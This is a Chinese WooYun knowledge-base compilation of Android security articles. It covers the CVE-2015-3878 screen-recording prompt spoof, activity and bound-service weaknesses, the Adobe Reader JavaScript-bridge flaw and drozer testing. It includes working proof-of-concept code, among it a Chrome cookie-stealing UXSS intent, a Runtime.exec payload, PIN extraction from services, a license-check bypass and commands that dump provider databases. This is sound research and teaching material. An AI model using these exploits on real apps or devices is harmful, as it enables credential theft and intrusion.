乌云知识库 - Andriod安全内容编纂

摘要

低技术门槛的漏洞利用或木马制作隐藏着极大的安全威胁,当这种安全威胁遇上手机用户的低安全意识时可能导致Android平台恶意软件的大规模爆发。360互联网安全中心最新研究发现,Android5.0屏幕录制漏洞(CVE-2015-3878)完全能够激发如上“两低”条件,漏洞威胁随时可能大规模爆发。 利用Android 5.0屏幕录制漏洞,黑客攻击者可以构造用户完全无法识别的UI(用户界面)陷阱,在没有获取任何特殊系统权限的条件下窃取用户手机上的一切可视信息,具有非常大的安全隐患。 本研究报告在分析漏洞原理、漏洞成因及利用技术的同时,充分挖掘隐藏在漏洞背后的威胁,以警示开发者和手机用户注意防范此类漏洞。 2015年8月,360互联网安全中心首先发现了此漏洞的存在,并于2015年8月15日向Google提交了漏洞细节。2015年8月19号,Google方面确认了该漏洞的存在。2015年10月9日,Google方面公布漏洞补丁。

Android 5.0新特性

Android 5.0新增的屏幕录制接口,无需特殊权限,使用如下系统API即可实现屏幕录制功能:
- MediaProjection: A token granting applications the ability to capture screen contents and/or record system audio. MediaProjection.Callback: Callbacks for the projection session. MediaProjectionManager: Manages the retrieval of certain types of MediaProjection tokens.

表1 Android5.0屏幕录制API
发起录制请求后,系统弹出如下提示框请求用户确认: 在上图中,“AZ Screen Recorder”为需要录制屏幕的软件名称,“将开始截取您的屏幕上显示的所有内容”是系统自带的提示信息,不可更改或删除。用户点击“立即开始”便开始录制屏幕,录制完成后在指定的目录生成mp4文件。

漏洞原理

开始录制屏幕前系统调用MediaProjectionManager.createScreenCaptureIntent()发起录制请求:
Intent captureIntent = mMediaProjectionManager.createScreenCaptureIntent(); startActivityForResult(captureIntent, REQUEST_CODE);
方法createScreenCaptureIntent返回一个带结果的Intent给应用程序,应用程序接着调用startActivityForResult发起该请求。
public Intent createScreenCaptureIntent() { Intent i = new Intent(); i.setClassName("com.android.systemui", "com.android.systemui.media.MediaProjectionPermissionActivity"); return i; }
方法MediaProjectionPermissionActivity接收到该请求后,首先获取发起请求的应用程序包信息:
public void onCreate(Bundle icicle) { … PackageManager packageManager = getPackageManager(); ApplicationInfo aInfo; try { aInfo = packageManager.getApplicationInfo(mPackageName, 0); mUid = aInfo.uid; } catch (PackageManager.NameNotFoundException e) { Log.e(TAG, "unable to look up package name", e); finish(); return; …}
接着,MediaProjectionPermissionActivity弹出AlertDialog提示框请求用户授权录制,AlertDialog中的提示信息由请求录制屏幕的软件名称和“将开始截取您的屏幕上的所有内容。”两段组成。
public void onCreate(Bundle icicle) { … String appName = aInfo.loadLabel(packageManager).toString(); … final AlertController.AlertParams ap = mAlertParams; ap.mIcon = aInfo.loadIcon(packageManager); ap.mMessage = getString(R.string.media_projection_dialog_text, appName); …
此处系统没有对应用名的长度做检查,提示框的大小会随提示内容(应用名)的长短自动调整,当应用名称足够长时,“将开始截取您的屏幕上的所有内容。”这段提示语将不再显示在AlertDialog中的可视范围内,从而导致手机用户只是看到了一串长长的应用名,而没有看到系统真正想要提示用户的“有软件将要录屏”这样的重要提示信息。 利用这一漏洞,攻击者只需要给恶意程序构造一段特殊的,读起来很“合理的”应用程序名,就可以将该提示框变成一个UI陷阱,使其失去原有的“录屏授权”提示功能,并使恶意程序在用户不知情的情况下录制用户手机屏幕。

漏洞利用

我们针对某银行客户端(Android版)编写一款漏洞测试demo,模拟“窃取”用户账号和密码的过程。测试demo名称如下:
xx银行客户端注意事项: 1、不要在公共场所使用网上银行,防止他人偷看您的密码。 2、不要在网吧、图书馆等公用网络上使用网上银行,防止他人安装监测程序或木马程序窃取账号和密码。 3、每次使用网上银行后,及时退出。 4、在其他渠道(如ATM取款、自助终端登录)进行交易时,注意密码输入的保护措施,防止他人通过录像等方式窃取到您的账号和密码。 5、切勿向他人透露您的用户名、密码或任何个人身份识别资料。 6、如果您的个人资料有任何更改(例如,联系方式、地址等有变动),请及时通过银行系统修改相关资料。 7、定期查看您的交易,核对对账单。 8、遇到任何怀疑或问题,请及时联系我行“95555-全国统一客服电话”。 点击“立即开始”按钮继续执行 \t\t\t\t\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\naaa
这段demo名称实际上是仿照了一段手机银行的风险提示。 我们再通过AlarmManager构造一个轮询服务,每隔3秒钟查询一次当前正在运行的应用程序进程名称,当检测到某行客户端启动后,发起录制屏幕请求,此时,系统就会弹出请求提示框效果如下图: 显然,从用户的角度来说,在启动手机银行客户端时,看到这样的提示消息是完全合情合理的。但实际上这只是测试demo的软件名称(app_name)的一部分,真实的提示消息通过向上滑动提示框的内容才能显示,如下图所示: 如果用户没有注意提示框的内容能够上滑,就不能看到后面的内容,当用户点击“立即开始”按钮后,测试demo便开始后台录制用户的一切操作,这样就能成功窃取用户在登陆该行客户端时输入的的银行帐号和密码。 值得引起研究人员注意的是,我们在测试时所使用的这个银行Android客户端其实已经考虑到了截屏和屏幕录制这类攻击,并在其设置菜单中提供了“允许截图”这一选项供用户选择,只要用户取消该选项,截屏或录制便无法成功进行。参见下图。但是,被测试的银行客户端和很多银行客户端一样,选项默认是勾选状态,且没有任何明显的提示信息提示用户勾选该选项存在的潜在风险,因此一般的用户根本没有注意到这个功能。我们的攻击实验假定用户没有取消该选项。 当然,利用此漏洞的木马还可以轻而易举地获取包括QQ、微信和各类银行软件等任何想要监控的软件的用户名和密码,以及各种界面的操作情况。

如何防范


(一) 给开发者的建议
在涉及用户隐私的Acitivity中(例如登录,支付等其他输入敏感信息的界面中)增加WindowManager.LayoutParams.FLAG_SECURE属性,该属性能防止屏幕被截图和录制。
(二) 给手机用户的建议

- 及时更新手机操作系统和应用程序,增强安全性; 检查手机银行是否有类似“允许截屏”的选项,在没有必要的情况下取消该选; 在登录或转账过程中注意突然弹出的提示框,仔细阅读提示内容,上下滑动提示信息,确保了解提示框的真实意图。

影响范围及威胁评估


一、 主要威胁范围
金钱利益是移动端黑产的驱动力。对于攻击者来说,用户手机上能够产生金钱利益的信息主要来自直接的金钱账户信息窃取与隐私信息倒卖。由于该漏洞的功能特性使得攻击者通过录制用户屏幕窃取用户敏感信息基本上没有技术门槛,所以,用户手机上有关网络金融、移动支付、电商平台、社交软件及其他一切隐私信息几乎完全可处于攻击者的监控之下。 而从受影响的系统来看,由于Android 5.0以下版本没有提供屏幕录制接口,所以,该漏洞仅影响Android 5.0及以上版本系统。
二、 Android平台应用受威胁概况评估
根据360互联网安全中心数据显示,Android平台应用软件中默认开启禁止截屏(录屏)功能的约占0.1%,即大约99.9%的Android软件都没有抵御这种威胁的能力。
三、 银行类应用受威胁情况评估
统计国内234款手机银行、信用卡Android客户端软件,其中只有9款默认开启禁止截屏属性,即这234款银行类应用中只有约3.8%能够抵御这种威胁,余下96.2%遇到这种威胁时均无法保证用户账户信息的安全性。
四、 主流社交软件受威胁情况评估
社交软件是手机用户最重要的工具软件之一,特别是在融入了各种金融相关的功能之后,其安全性变得尤为重要。我们针对国内主要社交软件进行分析,包括微信、QQ和微博等多款社交软件进行了检测,结果发现,这些社交引用无一不将用户信息暴露在这种威胁之下。
表2 主流社交软件截屏属性分析

五、 电商及支付类应用受威胁情况评估
电商及支付类应用直接涉及到用户的金钱信息,我们统计了国内16款主流的电商及支付类应用抵御该威胁的能力,发现没有一款能够抵御这种威胁。
表3 电商及支付类应用截屏属性分析

漏洞成因分析及补丁


一、 漏洞成因分析
该漏洞实际上是由于Google没有制定合理的Android应用名称规范导致,综合表现为如下两点:
- 没有规范应用名称长度,使得应用名称可为任意长度; 没有规范应用名称字符集,如应用名称可包含换行符和制表符。

二、 漏洞提交及补丁

- 2015年8月15日,360互联网安全中心向Google提交该漏洞; 2015年8月19日Google确认漏洞存在; 2015年9月3日分配CVE-ID; 2015年10月7日,360互联网安全中心及漏洞发现者李平获Google公开致谢; 2015年10月9日,Google公布漏洞补丁,补丁地址:https://android.googlesource.com/platform/frameworks/base/+/b3145760db5d58a107fd1ffd8eeec67d983d45f3

科普

Android每一个Application都是由Activity、Service、content Provider和Broadcast Receiver等Android的基本组件所组成,其中Activity是实现应用程序的主体,它承担了大量的显示和交互工作,甚至可以理解为一个"界面"就是一个Activity。 Activity是为用户操作而展示的可视化用户界面。比如说,一个activity可以展示一个菜单项列表供用户选择,或者显示一些包含说明的照片。一个短消息应用程序可以包括一个用于显示做为发送对象的联系人的列表的activity,一个给选定的联系人写短信的activity以及翻阅以前的短信和改变设置的activity。尽管它们一起组成了一个内聚的用户界面,但其中每个activity都与其它的保持独立。每个都是以Activity类为基类的子类实现。 一个应用程序可以只有一个activity,或如刚才提到的短信应用程序那样,包含很多个。每个activity的作用,以及其数目,自然取决于应用程序及其设计。一般情况下,总有一个应用程序被标记为用户在应用程序启动的时候第一个看到的。从一个activity转向另一个的方式是靠当前的activity启动下一个。

知识要点

参考:http://developer.android.com/guide/components/activities.html

生命周期:
启动方式
显示启动 配置文件中注册组件

直接使用intent对象指定application以及activity启动
Intent intent = new Intent(this, ExampleActivity.class); startActivity(intent);

未配置intent-filter的action属性,activity只能使用显示启动。 私有Activity推荐使用显示启动。
隐式启动
Intent intent = new Intent(Intent.ACTION_SEND); intent.putExtra(Intent.EXTRA_EMAIL, recipientArray); startActivity(intent);

加载模式launch mode
Activity有四种加载模式:
- standard:默认行为。每次启动一个activity,系统都会在目标task新建一个实例。 singleTop:如果目标activity的实例已经存在于目标task的栈顶,系统会直接使用该实例,并调用该activity的onNewIntent()(不会重新create) singleTask:在一个新任务的栈顶创建activity的实例。如果实例已经存在,系统会直接使用该实例,并调用该activity的onNewIntent()(不会重新create) singleInstance:和"singleTask"类似,但在目标activity的task中不会再运行其他的activity,在那个task中永远只有一个activity。
设置的位置在AndroidManifest.xml文件中activity元素的android:launchMode 属性:

Activity launch mode 用于控制创建task和Activity实例。默认“standard“模式。Standard模式一次启动即会生成一个新的Activity实例并且不会创建新的task,被启动的Activity和启动的Activity在同一个栈中。当创建新的task时,intent中的内容有可能被恶意应用读取所以建议若无特别需求使用默认的standard模式即不配置launch mode属性。launchMode能被Intent 的flag覆盖。
taskAffinity
android系统中task管理Activity。Task的命名取决于root Activity的affinity。 默认情况下,app中的每个Activity都使用app的包名作为affinity。而Task的分配取决于app,故默认情况下一个app中所有的Activity属于同一task。要改变task的分配,可以在AndroidManifest.xml文件中设置affinity的值,但是这样做会有不同task启动Activity携带的intent中的信息被其他应用读取的风险。
FLAG_ACTIVITY_NEW_TASK
intent flag中一个重要的flag 启动Activity时通过setFlags()或者addFlags()方法设置intent的flags属性能够改变launch mode,FLAG_ACTIVITY_NEW_TASK标记代表创建新的task(被启动的Activity既不在前台也不在后台)。FLAG_ACTIVITY_MULTIPLE_TASK标记能和FLAG_ACTIVITY_NEW_TASK同时设置。这种情况下必会创建的task,所以intent中不应携带敏感数据。
Task
stack:Activity承担了大量的显示和交互工作,从某种角度上将,我们看见的应用程序就是许多个Activity的组合。为了让这许多 Activity协同工作而不至于产生混乱,Android平台设计了一种堆栈机制用于管理Activity,其遵循先进后出的原则,系统总是显示位于栈顶的Activity,位于栈顶的Activity也就是最后打开的Activity。 Task:是指将相关的Activity组合到一起,以Activity Stack的方式进行管理。从用户体验上讲,一个“应用程序”就是一个Task,但是从根本上讲,一个Task是可以有一个或多个Android Application组成的 如果用户离开一个task很长时间,系统会清理栈顶以下的activity,这样task被从新打开时,栈顶activity就被还原了。
Intent Selector
多个Activity具有相同action时,当此调用此action时会弹出一个选择器供用户选择。
权限

android:exported
一个Activity组件能否被外部应用启动取决于此属性,设置为true时Activity可以被外部应用启动,设置为false则不能,此时Activity只能被自身app启动。(同user id或者root也能启动) 没有配置intent-filter的action属性exported默认为false(没有filter只能通过明确的类名来启动activity故相当于只有程序本身能启动),配置了intent-filter的action属性exported默认为true。 exported属性只是用于限制Activity是否暴露给其他app,通过配置文件中的权限申明也可以限制外部启动activity。
android:protectionLevel

http://www.jssec.org/dl/android_securecoding_en.pdf

安全建议

- app内使用的私有Activity不应配置intent-filter,如果配置了intent-filter需设置exported属性为false。 使用默认taskAffinity 使用默认launchMode 启动Activity时不设置intent的FLAG_ACTIVITY_NEW_TASK标签 谨慎处理接收的intent以及其携带的信息 签名验证内部(in-house)app 当Activity返回数据时候需注意目标Activity是否有泄露信息的风险 目的Activity十分明确时使用显示启动 谨慎处理Activity返回的数据,目的Activity返回的数据有可能是恶意应用伪造的 验证目标Activity是否恶意app,以免受到intent欺骗,可用hash签名验证 When Providing an Asset Secondhand, the Asset should be Protected with the Same Level of Protection 尽可能的不发送敏感信息,应考虑到启动public Activity中intent的信息均有可能被恶意应用窃取的风险

测试方法


查看activity:

- 反编译查看配置文件AndroidManifest.xml中activity组件(关注配置了intent-filter的及未设置export=“false”的) 直接用RE打开安装后的app查看配置文件 Drozer扫描:run app.activity.info -a packagename 动态查看:logcat设置filter的tag为ActivityManager

启动activity:

- adb shell:am start -a action -n package/componet drozer: run app.activity.start --action android.action.intent.VIEW ... 自己编写app调用startActiviy()或startActivityForResult() 浏览器intent scheme远程启动:http://drops.wooyun.org/tips/2893

案例


案例1:绕过本地认证

http://www.wooyun.org/bugs/wooyun-2014-048502
绕过McAfee的key验证,免费激活。
$ am start -a android.intent.action.MAIN -n com.wsandroid.suite/com.mcafee.main.MfeMain

案例2:本地拒绝服务

http://www.wooyun.org/bugs/wooyun-2014-060423

http://www.wooyun.org/bugs/wooyun-2013-036581

http://www.wooyun.org/bugs/wooyun-2014-048176

http://www.wooyun.org/bugs/wooyun-2014-048501

http://www.wooyun.org/bugs/wooyun-2014-077688

案例3:界面劫持

http://www.wooyun.org/bugs/wooyun-2012-05478

案例4:UXSS
漏洞存在于Chrome Android版本v18.0.1025123,class "com.google.android.apps.chrome.SimpleChromeActivity" 允许恶意应用注入js代码到任意域. 部分 AndroidManifest.xml配置文件如下

Class "com.google.android.apps.chrome.SimpleChromeActivity" 配置 但是未设置 "android:exported" 为 "false". 恶意应用先调用该类并设置data为” http://google.com” 再次调用时设置data为恶意js例如'javascript:alert(document.cookie)', 恶意代码将在http://google.com域中执行. "com.google.android.apps.chrome.SimpleChromeActivity" class 可以通过Android api或者am(activityManager)打开. POC如下
public class TestActivity extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent i = new Intent(); ComponentName comp = new ComponentName( "com.android.chrome", "com.google.android.apps.chrome.SimpleChromeActivity"); i.setComponent(comp); i.setAction("android.intent.action.VIEW"); Uri data = Uri.parse("http://google.com"); i.setData(data); startActivity(i); try { Thread.sleep(5000); } catch (Exception e) {} data = Uri.parse("javascript:alert(document.cookie)"); i.setData(data); startActivity(i); } }

案例5:隐式启动intent包含敏感数据
暂缺可公开案例,攻击模型如下图。
案例6:Fragment注入(绕过PIN+拒绝服务)
Fragment这里只提一下,以后可能另写一篇。
16、bypass Pin android 3.0-4.3 (selector)


17、fragment dos android 4.4 (selector)


案例7:webview RCE

15、驴妈妈代码执行(fixed)

参考


http://www.jssec.org/dl/android_securecoding_en.pdf

描述

前几天老外在fd还有exploit-db上,公布了Adobe Reader任意代码执行的漏洞。 漏洞编号: CVE: 2014-0514 AdobeReader安装量比较大,又和浏览器容器不同,分析一下。 Android Adobe Reader 调用webview的不安全的Javascript interfaces。 导致可以执行任意js代码。具体查看
http://drops.wooyun.org/papers/548
影响版本: 理论上Android Adobe Reader 11.2.0之前的版本多存在,Android version 11.1.3成功利用。 我查看了之前的几个版本例如
Android Adobe Reader 11.1.2
如下图,问题也应该存在。

利用

从反编译出来的java代码看
#!java public class ARJavaScript {
public ARJavaScript(ARViewerActivity paramARViewerActivity) {
this.mWebView.addJavascriptInterface(new ARJavaScriptInterface(this), "_adobereader"); this.mWebView.addJavascriptInterface(new ARJavaScriptApp(this.mContext), "_app"); this.mWebView.addJavascriptInterface(new ARJavaScriptDoc(), "_doc"); this.mWebView.addJavascriptInterface(new ARJavaScriptEScriptString(this.mContext), "_escriptString"); this.mWebView.addJavascriptInterface(new ARJavaScriptEvent(), "_event"); this.mWebView.addJavascriptInterface(new ARJavaScriptField(), "_field"); this.mWebView.setWebViewClient(new ARJavaScript.1(this)); this.mWebView.loadUrl("file:///android_asset/javascript/index.html"); }
_adobereader,_app,_doc,_escriptString,_event,_field这几个变量都会存在任意代码执行的问题. 利用代码和之前一样。
#!java function execute(bridge, cmd) { return bridge.getClass().forName('java.lang.Runtime') .getMethod('getRuntime',null).invoke(null,null).exec(cmd); } if(window._app) { try { var path = '/data/data/com.adobe.reader/mobilereader.poc.txt'; execute(window._app,
); window._app.alert(path + ' created', 3); } catch(e) { window._app.alert(e, 0); } }
这里不同是构造 恶意的PDF。 首先需要一个PDF编辑器,比如Adobe Acrobat(flash达人pz推荐). 然后添加表单按钮或者书签等,调用事件添加 我这里看了下button最好演示,和老外的那个poc一样基本上. 导入到android虚拟机里,打开,成功复现。

扩展

一些网盘或浏览器,看看能否调用adobe reader来预览pdf的应用可能会存在这个漏洞,大部分应用都是直接下载pdf到本地。可以再测试一些能预览pdf的邮箱之类的应用。

修复

新版本的Adobe Reader 11.2.0 为4.2以上的用户使用了安全的js调用接口 @JavascriptInterface,老版本的用户则在adobereader禁用了表单的js执行。 不知道那些杀毒软件能不能检测到这些恶意poc呢 :) 附上:
https://wooyun.js.org/images_result/images/2014101711445669638.pdf

准备工作


测试环境:

1 手机root权限 Adb.exe 手机usb连接开启debug模式(在设置>关于手机>连续点击多次版本号,即可开启开发者模式) Window下安装drozer 安装完drozer后在其目录下把agent.apk安装到手机 WebContentResolver.apk 附带测试案例使用app sieve

drozer安装与使用


安装

1) windows安装 下载:

点击下载|https://www.mwrinfosecurity.com/products/drozer/community-edition/
在Android设备中安装agent.apk:
#!bash >adb install agent.apk
或者直接连接USB把文件移动到内存卡中安装
2) *inux安装(Debian/Mac)

#!bash $ wget http://pypi.python.org/packages/2.7/s/setuptools/setuptools-0.6c11-py2.7.egg $ sh setuptools-0.6c11-py2.7.egg $ easy_install --allow-hosts pypi.python.org protobuf $ easy_install twisted==10.2.0 $ easy_install twisted ./drozer-2.3.0-py2.7.egg $ drozer //运行测试

三种方法运行

1) USB方式

#!bash >adb forward tcp:31415 tcp:31415 //adb目录下运行次命令 选择drozer>Embedded Server>Enabled >drozer.bat console connect //在PC端drozer目录下运行此命令

2) Wifi方式

#!bash >drozer.bat console connect --server 192.168.1.12:31415 //在PC端执行192.168.1.12为android端ip和端口

3) Infrastructure Mode
这种模式涉及到三个通信方,drozer server、drozer agent(Android 设备中)与drozer console。 其中server与agent,server与console需要网络互通。这种模式的好处是你不需要知道android设备的ip, agent与console的ip段可以隔离的,并且可以支持一个server对应多个设备的操作。
#!bash >drozer.bat server start
在Android设备上新建一个New Endpoint,修改配置Host为PC server端ip,并且启用Endpoint
#!bash >drozer console connect --server 192.168.1.2:31415 //192.168.1.2为server端ip和端口

使用

> list //列出目前可用的模块,也可以使用ls > help app.activity.forintent //查看指定模块的帮助信息 > run app.package.list //列出android设备中安装的app > run app.package.info -a com.android.browser //查看指定app的基本信息 > run app.activity.info -a com.android.browser //列出app中的activity组件 > run app.activity.start --action android.intent.action.VIEW --data-uri http://www.google.com //开启一个activity,例如运行浏览器打开谷歌页面 > run scanner.provider.finduris -a com.sina.weibo //查找可以读取的Content Provider > run app.provider.query content://settings/secure --selection "name='adb_enabled'" //读取指定Content Provider内容 > run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo //列出指定文件路径里全局可写/可读的文件 > run shell.start //shell操作 > run tools.setup.busybox //安装busybox > list auxiliary //通过web的方式查看content provider组件的相关内容 > help auxiliary.webcontentresolver //webcontentresolver帮助 > run auxiliary.webcontentresolver //执行在浏览器中以http://localhost:8080即可访问 以sieve示例 > run app.package.list -f sieve //查找sieve应用程序 > run app.package.info -a com.mwr.example.sieve //显示app.package.info命令包的基本信息 > run app.package.attacksurface com.mwr.example.sieve //确定攻击面 > run app.activity.info -a com.mwr.example.sieve //获取activity信息 > run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //启动pwlist > run app.provider.info -a com.mwr.example.sieve //提供商信息 > run scanner.provider.finduris -a com.mwr.example.sieve //扫描所有能访问地址 >run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/--vertical //查看DBContentProvider/Passwords这条可执行地址 > run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" //检测注入 > run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts //查看读权限数据 > run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据 > run scanner.provider.injection -a com.mwr.example.sieve //扫描注入地址 > run scanner.provider.traversal -a com.mwr.example.sieve > run app.service.info -a com.mwr.example.sieve //查看服务

Android App Injection


1) 首先用drozer扫描Android应用可注入的Url

#!bash Dz > run scanner.provider.injection

2) 启动WebContentResolver.apk应用程序,Web界面访问url格式如下
http://localhost:8080/query?a=providers&path0=Parameter1&path1=Parameter2&pathn=parametern&selName=column&selId=id

解释: providers:为content://后第一个参数比如records Parameter1:为第二个参数operations Parameter2..parametern:为后门的依次类推的参数,如果后面有这么多参数 Column:表字段例如上面字段<_id> Id:为字段数据


注意:格式必须是这样,selName、selId这两个参数第二个单词是大写的。

3) 在PC端运行adb

#!bash >adb forward tcp:8080 tcp:8080 //此时在地址栏输入http://localhost:8080即可访问Web界面

4) 以content://settings/bookmarks/为例,在地址栏输入

http://localhost:8080/query?a=settings&path0=bookmarks&selName=_id&selId=1

5) 自动化结合SQLMAP

总结&&解决方案

总结:虽然很多小伙说直接用文件管理进去查看数据库更方便,我也不多说什么,就像上次看到一帖子为了查看wifi密码写了一大篇的,直接进去数据库看不就是了,我能呵呵一句么。 避免这个漏洞方法只需要指定标志读取权限和限制写入权限。如果我们不想共享存储第三方应用程序记录,另一个解决方案可以消除provider或将其设置为false。 参考:
https://labs.mwrinfosecurity.com/blog/2011/12/02/how-to-find-android-0day-in-no-time/

引子

去年12月,【1】 讲述了针对android bound service的攻击方法,给出了从apk包中恢复AIDL文件的工具,利用AIDL便可以编写攻击Bound Service的Client。拜这篇文章所赐,笔者也在实际测试工作中发现了类似漏洞,其中的过程却有些曲折。作为白帽子,通常情况下很难直接得到或者恢复AIDL文件,这决定了Bound Service的易守难攻,因此需要更加系统地掌握Bound Sercive的测试方法,并辅以耐心和一定的运气,才能发现类似的漏洞。在【1】的基础上,本文将分享此类漏洞的经验,进一步对Bound Service攻击进行说明。

Bound Service简介

Bound Service提供了一种基于Binder的跨进程调用(IPC)机制,在其Service类中实现OnBind方法并返回用于IPC的IBinder对象。根据官方文档【2】,实现Bound Service有以下三种方式:
- 继承Binder类 使用Messenger 使用AIDL
由于第一种方式主要在同一进程中使用,因此我们主要关注后两种情况,只要Bound Service暴露,那么便可以编写恶意app,通过Messenger和基于AIDL的Bound Service进行跨进程通信,传入污染的数据或者直接调用被攻击应用的功能,最终对安全产生非预期的影响。

攻击Messenger

Messenger是一种轻量级的IPC方案,其底层实现也是基于AIDL的,从android.os.Messenger的两个构造函数可以看到一些Binder的痕迹。
#!java /** 36 * Create a new Messenger pointing to the given Handler. Any Message 37 * objects sent through this Messenger will appear in the Handler as if 38 * {@link Handler#sendMessage(Message) Handler.sendMessage(Message)} had 39 * been called directly. 40 * 41 * @param target The Handler that will receive sent messages. 42 */ 43 public Messenger(Handler target) { 44 mTarget = target.getIMessenger(); 45 } /** 140 * Create a Messenger from a raw IBinder, which had previously been 141 * retrieved with {@link #getBinder}. 142 * 143 * @param target The IBinder this Messenger should communicate with. 144 */ 145 public Messenger(IBinder target) { 146 mTarget = IMessenger.Stub.asInterface(target); 147 }
使用Messenger的Service典型实现中,一定会有一个继承于Handler的内部类,用来处理客户端发送过来的消息,测试方法就是检查Handler的handleMessage方法,观察发送特定的Message后会引起被攻击应用如何反应。Drozer中用于漏洞教学的Sieve程序给出了实际案例。 Sieve暴露了两个服务,这两个服务均使用Messenger进行跨进程通信
#!bash dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.AuthService Permission: null com.mwr.example.sieve.CryptoService Permission: null
查看AuthService的handleMessage方法
#!java public void handleMessage(Message msg) { ... Bundle v8 = null; int v7 = 9234; int v6 = 7452; AuthService.this.responseHandler = msg.replyTo; Object v2 = msg.obj; switch(msg.what) { case 4: { //Check if pin and password are set } case 2354: { if(msg.arg1 == v6) { //Return pin Requires password from Bundle } else if(msg.arg1 == v7) { //Return password Requires pin from Bundle!! v1 = 41; if(AuthService.this.verifyPin(((Bundle)v2).getString("com.mwr.example.sieve.PIN")) ) { v2_1 = new Bundle(); v2_1.putString("com.mwr.example.sieve.PASSWORD", AuthService.this.getKey()); v3 = 0; } ... this.sendResponseMessage(5, v1, v3, v2_1); return; label_57: this.sendUnrecognisedMessage(); break; } case 6345: { if(msg.arg1 == v6) { //Set Password Requires Current Password from Bundle v1 = 42; v3 = AuthService.this.setKey(((Bundle)v2).getString("com.mwr.example.sieve.PASSWORD")) ? 0 : 1; } else if(msg.arg1 == v7) { //Set Pin Requires Current Pin from Bundle v1 = 41; v3 = AuthService.this.setPin(((Bundle)v2).getString("com.mwr.example.sieve.PIN")) ? 0 : 1; } else { goto label_99; } this.sendResponseMessage(4, v1, v3, v8); return;
AuthService根据传入Message对象的不同,执行不同的动作,注意当Message对象的what为2354,arg1为9234时,如果当前的PIN正确,则可返回Sieve使用的主password。Drozer提供了app.service.send模块,利用该模块可以很方便地测试基于Messenger的跨进程通信。
#!bash dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1234 --bundle-as-obj Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService: what: 5 arg1: 41 arg2: 0 Extras com.mwr.example.sieve.PASSWORD (String) : passw0rd123123123
如果PIN不正确,则只返回当前传入的PIN
#!bash dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 33333 --extra string com.mwr.example.sieve.PIN 2344 --bundle-as-obj Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService: what: 5 arg1: 41 arg2: 1 Extras com.mwr.example.sieve.PIN (String) : 2344
由于PIN只有4位,利用上述两种结果的不同,可以编写程序进行爆破。另外一个CryptoService同样也有类似的漏洞,通过传入特定的Message对象,执行加解密操作,可被用来解密password,详见【3】。

攻击基于AIDL的Bound Service

文献【1】给出了一个存在命令执行漏洞的Bound Service,并根据Bound Service的apk生成AIDL接口文件,编写攻击程序调用Bound Service中的命令执行方法。然而,在使用中发现生成AIDL文件的工具主要根据smali文件中的Stub.Proxy类进行抓取,而当apk进行了混淆,便不能正确生成AIDL文件了。例如,我们配置build.gradle中的minifyEnabledtrue开关为true,使用Android Studio的默认混淆规则。对混淆的apk与未混淆的apk使用JEB逆向对比如下 混淆后的apk少了许多有关AIDL的信息,没有了Stub Proxy这些特征,致使如下代码实现的GenerateAIDL工具出错
#!java if (descriptorToDot(interfaces.first()).equals(IINTERFACE_CLASS)) { /* Now grab the Stub.Proxy, to get the protocols */ String stubProxyName = className + ".Stub.Proxy"; DexBackedClassDef stubProxyDef = getStubProxy(classDefs, stubProxyName); if (stubProxyDef == null) { System.err.println("
Unable to find Stub.Proxy for class: " + stubProxyName + ", Skiping!"); continue; }
由于AIDL文件本质上只是SDK为我们提供的一种快速实现Binder的工具,因此完全可以不依赖AIDL文件而实现Binder的方法,这也是在实际渗透测试过程中最常见的情况。下面我们结合有漏洞混淆后的apk进行说明。 怀疑暴露的ITestService可传入一个可控字符串执行命令后,我们可以按如下步骤编写Client去Bind该Service进行测试。 首先,可声明一个AIDL性质的接口,可直接拷贝JEB中继承IInterface的a接口,该接口有一个a方法。
#!java // in fact a is TestInterface public interface a extends IInterface { static final String DESCRIPTOR = "com.jakev.boundserver.aidl.TestInterface"; String a(String arg1) throws RemoteException; }
接下来,编写实现a接口的Stub极其内部类Proxy,可参考系统生成的代码,结构略作调整使之清晰化。注意,一定要在Proxy类中实现a方法,其传入远程调用的code为1,打包数据data写入a方法中的字符串类型的参数。
#!java public class Stub extends Binder implements a { /** Construct the stub at attach it to the interface. */ public Stub() { super(); this.attachInterface(this, DESCRIPTOR); } /** Cast an IBinder object into an TestInterface(a) interface, * generating a proxy if needed */ public static a asInterface(IBinder obj) { if (obj == null) { return null; } IInterface iin = obj.queryLocalInterface(DESCRIPTOR); if(((iin != null) && (iin instanceof a))) { return (a)iin; } return new Stub.Proxy(obj); } public IBinder asBinder() { return this; } public boolean onTransact(int code, Parcel data, Parcel reply, int flag) throws RemoteException{ boolean v0 = true; switch(code) { case 1: { data.enforceInterface(DESCRIPTOR); String v1 = this.a(data.readString()); reply.writeNoException(); reply.writeString(v1); break; } case 1598968902: { reply.writeString(DESCRIPTOR); break; } default: { v0 = super.onTransact(code, data, reply, flag); break; } } return v0; } public String a(String cmd) throws RemoteException { // Server do not have to implement this method, just return null return null; } private static class Proxy implements a { private IBinder mRemote; Proxy(IBinder remote) { mRemote = remote; } @Override public IBinder asBinder() { return mRemote; } public String getInterfaceDescriptor() { return DESCRIPTOR; } @Override public String a(String cmd) throws RemoteException{ String result = null; Parcel data = Parcel.obtain(); Parcel reply = Parcel.obtain(); try { data.writeInterfaceToken(DESCRIPTOR); data.writeString(cmd); mRemote.transact(1, data, reply, 0); reply.readException(); result = reply.readString(); } finally { reply.recycle(); data.recycle(); } return result; } } }
最后,编写攻击app的Activity,在其中bind有漏洞的Service
#!java mServiceConnection = new myServiceConnection(); Intent i = new Intent(); i.setClassName("com.jakev.boundserver", "com.jakev.boundserver.ITestService"); boolean ret = bindService(i, mServiceConnection, BIND_AUTO_CREATE);
在ServiceConnection的回调函数中调用a方法
